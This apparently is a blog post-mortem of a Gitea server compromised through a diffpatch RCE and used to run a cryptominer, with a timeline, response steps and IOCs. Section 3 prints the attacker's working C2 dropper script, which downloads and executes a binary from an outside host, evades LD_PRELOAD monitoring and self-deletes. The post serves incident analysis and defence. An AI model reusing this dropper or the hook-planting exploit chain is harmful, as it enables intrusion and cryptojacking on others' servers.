The Wellspring
A Gitea Cryptomining Intrusion: Post-Mortem

A Gitea Cryptomining Intrusion: Post-Mortem

504 views

A Gitea instance got popped via the diffpatch RCE, and a miner ran in /tmp for 6 minutes before I caught it.

Timeline

Time (2026-08-12) Event
16:46 Malicious process /tmp/XXmNHBfI starts, CPU spikes to 347%
16:49 Tencent Cloud alert email arrives (CPU > 80%), I send an agent to investigate
16:52 Miner located and killed, ran for ~6 minutes total
17:35 Forensics done, vuln patched, accounts cleaned, keys rotated

1. What happened

A self-hosted Gitea instance on my Tencent Cloud server got compromised. The attacker chained the diffpatch API RCE (CVE-2026-60004) with an orgmode arbitrary file read (CVE-2026-59774) to drop a cryptominer.

It started innocently enough: a Tencent Cloud alert email saying CPU usage had crossed 80%. I sent an agent to check, and it found a strange process pinning the CPU at 347%. We caught it early. The miner only ran for about 6 minutes, and neither the database nor the host was further breached.

2. The attack chain

2.1 How the diffpatch RCE got in

The vulnerable version was Gitea EE 25.5.0. The core bug is the diffpatch API RCE (CVE-2026-60004 / GHSA-rcr6-4jqh-j84m, rated CRITICAL, CVSS 9.8, affecting >=1.17, <1.27.1).

Gitea’s diffpatch endpoint (services/repository/files/patch.go) applies attacker-controlled patches in a shared bare temporary clone. The exploit chain is sneaky:

  1. The attacker submits the same patch twice to the same repo, triggering a Git add/add conflict;
  2. Git’s three-way fallback then checks out the indexed path into the working tree, even though the operation ran with --cached;
  3. The crafted patch contains an executable file named hooks/post-index-change, which becomes a live Git hook once checked out;
  4. Git invokes that hook while writing the index, so the attacker’s commands run as the Gitea service account.

With open registration enabled at the time, the attacker needed no existing credentials. Register an account, create a repo, and the whole chain runs. That’s exactly how they got in here.

Corroboration: the official fixes landed in v1.27.1 as PR #38637 (refactor: git patch apply) and #38642 (fix: orgmode render include path), both listed as SECURITY fixes in the release notes. Gitea has a habit of shipping security fixes disguised as plain refactors; neither PR mentions a CVE in its title or body. The details only live in the GitHub Security Advisory.

2.2 Sixteen accounts in one go

With registration open, the attacker spun up 16 accounts in one go:

  • 15 of the testpoc* series (e.g. testpoc60874, testpoc60504…)
  • xzplhjkfmx

Each account then created a repo and injected a malicious hook payload to get command execution.

2.3 The C2 downloader

With command execution in hand, the attacker pulled a dropper script from C2 to plant the miner.

2.4 The miner lands

What landed was a 562KB x86-64 ELF miner (statically linked, SHA256 DB364E1B...), with a randomly generated 8-character alphanumeric process name (XXmNHBfI), connecting to pool 47.76.81.186:33333 and burning 347% CPU.

3. Reverse-engineering the C2 dropper

This is the fun part. The dropper (c2-downloader-172.245.88.160.sh) is only 7 physical lines, but nearly every line has some anti-detection trick. Here’s the whole thing:

#!/bin/sh
__a=$(uname -m);unset LD_PRELOAD 2>/dev/null;unset LD_LIBRARY_PATH 2>/dev/null
[ "$__a" = "x86_64" ]&&__u="http://172.245.88.160/1";[ "$__a" = "aarch64" ]&&__u="http://172.245.88.160/2";[ "$__a" = "amd64" ]&&__u="http://172.245.88.160/3"
__p=$(mktemp -u XXXXXXXX 2>/dev/null | tr -cd 'A-Za-z0-9' | cut -c1-8); [ -n "$__p" ] || __p=$(printf '%08d' "$$" | cut -c1-8)
__d() { local ___ur="$1" __hp __h __p __pa; __hp=$(printf '%s' "$___ur" | sed -E 's|^https?://||;s|/.*||'); __p=$(printf '%s' "$__hp" | grep -o ':[0-9]*' | tr -d ':'); __h=$(printf '%s' "$__hp" | sed 's|:.*||'); __pa=/$(printf '%s' "$___ur" | sed -E 's|https?://[^/]*/?||'); [ -z "$__h" ] && return 1; { command -v curl >/dev/null 2>&1 && curl -sSo - "$___ur" 2>/dev/null && return 0; }; { command -v wget >/dev/null 2>&1 && wget -qO - "$___ur" 2>/dev/null && return 0; }; { command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$___ur').read())" 2>/dev/null && return 0; }; command -v perl >/dev/null 2>&1 && { perl -MHTTP::Tiny -e "my \$r=HTTP::Tiny->new->get('$___ur'); die unless \$r->{success}; print \$r->{content}" 2>/dev/null && return 0; perl -MIO::Socket::INET -e 'my $s=IO::Socket::INET->new("'"${__h}:${__p:-80}"'") or die $!; print $s "GET '"$__pa"' HTTP/1.0\r\nHost: '"$__h"'\r\n\r\n"; 1 while <$s> !~ /^\r?$/; print while <$s>;' 2>/dev/null && return 0; }; }
__wd=$(_seen=""; for _m in /tmp ${HOME:-} ${PWD:-} $(mount 2>/dev/null | while read -r _ _ mp _; do printf '%s ' "$mp"; done); do case " $_seen " in *" $_m "*) continue ;; esac; [ -n "$_m" ] && touch "$_m/.p$$" 2>/dev/null && rm -f "$_m/.p$$" && _seen="$_seen $_m" && printf '%s ' "$_m"; done); [ -n "$__wd" ] || __wd=/tmp
for i in $__wd;do (__d $__u > $i/$__p)2>/dev/null&&[ -s $i/$__p ]&&(cd $i;chmod +x $__p;./$__p;wait $!;rm -rf $i/$__p)>/dev/null 2>&1;grep -qE '^\./[A-Za-z0-9]{8}$' /proc/[0-9]*/cmdline 2>/dev/null&&break;done

The script is short, but every line earns its keep.

The first two lines run unset LD_PRELOAD / LD_LIBRARY_PATH, which kills the trick many HIDS rely on: hooking syscalls via LD_PRELOAD to watch processes. Then it picks a miner binary per architecture via uname -m (/1, /2, /3).

Next, the random process name: mktemp -u XXXXXXXX | tr -cd 'A-Za-z0-9' | cut -c1-8 produces an 8-character alphanumeric string for the dropped filename. That’s why the miner is called XXmNHBfI. It dodges process-name-based rules, falling back to printf '%08d' "$$" if the random generation fails.

The download function __d() tries curlwgetpython3 (urllib) → perl (HTTP::Tiny, degrading all the way to raw IO::Socket::INET HTTP), so the machine only needs any one of those tools to fetch the miner.

Then it enumerates every writable directory (/tmp, $HOME, $PWD, and all mount points), dropping and running in each. Once it’s up, it rm -rfs the binary, leaving no miner file on disk, just a running process.

Finally it scans /proc/*/cmdline and breaks if a ./8-char-random is already running, so it doesn’t double-mine the same box and fight itself for CPU.

This is clearly the work of someone who batches mining at scale, not a hand-rolled script.

4. Response

Put out the fire first, patch the hole second, clean up last:

  1. Kill the miner and bring the CPU back down.
  2. Upgrade Gitea to 1.27.1, fixing both CVEs.
  3. Disable registration, ban all 16 malicious accounts, rotate every secret.
  4. Rebind unneeded services to the internal network, tighten SSH and fail2ban.
  5. Confirm the database wasn’t further breached, and keep the samples for evidence.

5. Takeaways

Two things let them in: a public-facing Gitea with an unpatched RCE, plus open registration so the attacker could self-serve an account.

Three things kept the damage from spreading:

  • The Tencent Cloud CPU alert email tipped me off early. Otherwise a miner that deletes its own file could have run quietly for a long time.
  • I sent an agent up to investigate the moment the alert landed, and it located and stopped the miner within minutes.
  • Gitea ran in a Docker container, so the attacker only ever had container-level access and never directly touched the host.

The lessons aren’t new, but this time I learned them the hard way:

  • Self-hosted services need to track security advisories. An RCE-grade CVE left unpatched for a day is basically asking to be popped.
  • Expose the minimum by default; open registration is a door you’re leaving open for attackers.

But the thing I actually want to emphasize is different: from detection to investigation to audit, this was all done by an AI agent, and the model running that day was just DeepSeek-V4-Flash, dirt cheap.

Appendix: IOCs (safe to share)

Type Value
C2 server 172.245.88.160 (HTTP, hosts the miner binaries)
Backup C2 repositorylinux.dpdns.org (HTTPS, dynamic DNS, taken down after the incident)
Mining pool 47.76.81.186:33333
Malicious process pattern 8-character random alphanumeric name under /tmp/, self-deletes after running
Attacker accounts testpoc* × 15 + xzplhjkfmx
Miner sample SHA256 DB364E1BBA585912968472E1546440020B34DE58A3510BDA3651E41BA67A183D
Vulnerabilities Gitea diffpatch RCE (CVE-2026-60004 / GHSA-rcr6-4jqh-j84m, CRITICAL, CVSS 9.8) + orgmode file read (CVE-2026-59774); fixed in v1.27.1, PR #38637 / #38642